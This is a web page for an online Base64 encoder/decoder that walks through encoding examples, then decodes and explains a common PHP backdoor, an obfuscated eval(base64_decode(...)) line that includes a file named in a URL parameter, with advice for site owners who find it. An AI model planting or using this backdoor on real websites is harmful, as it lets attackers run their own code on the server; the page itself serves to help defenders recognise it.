Base64 Decoder - Encoder.

This base64 online decoder tool allows you to encode the text to ASCII characters and decode Base64 online.
Base64 decode / encode most commonly used in e-mail protocols to transfer binary data such as files and pictures.
Also spammers and hackers make use of base64 decode option to hide the content of their scripts or messages from simple antispam or antivirus programs, filters or from people eyes.

To encode or decode base64 online, just paste your string in the textarea.

Base64 encode example B.

× We will split the string "Base64" into two smaller strings: "Ba" and "se64" and encode it into Base64.So, we have:

B

a

× Hexadecimal representation:

42

61

× Binary representation:

01000010

01100001

× We can split it in two groups of 6 bits. But the last group is only 4 bits long,so we need to add two extra bits of '0' and remember it by putting a '=' at the end.

010000

100110

000100

× In decimal:

16

38

4

× Base64 encoded equivalent:

Q

m

E

=

Base64 encode example C.

s

e

6

4

× Hexadecimal representation:

73

65

36

34

× Binary representation:

01110011

01100101

00110110

00110100

× Splitted in groups of 6 bits. The last group contains only two bits.Because of this we need to add four extra bits of '0' and put two '=' at the end.

011100

110110

010100

110110

001101

000000

× Base64 encoded string will be:

c

2

U

2

N

A==

Base64 encoding table.

Eval base64_decode.

Eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImNtZCJdKSlpbmNsdWRlICRfR0VUWyJjbWQiXTs=")); What it means? If you found something like this
in the code of your website, most probably your site is hacked. This is a kind of backdoor in your site. Decoded from Base64 it will be

if(isset($_GET["cmd"]))include $_GET["cmd"];

An attacker can execute own scripts in the content of your website. He can do it like this

Somescript.txt can contain a code like this system("dir"); where "dir" is a command that will be executed.

Fortunately attacker do not think about the fact that he uses method GET, so you can see in the webserver logs what he did exactly.

If you found it in your site first of all change your passwords, check file rights (that should be 644), newer use the same passwords for database and FTP, bacause the database password most commonly
stored in plain-text. Do not use shared hosting, bacause if one website located on shared hosting is hacked, it is simple to hack any other website located at same server.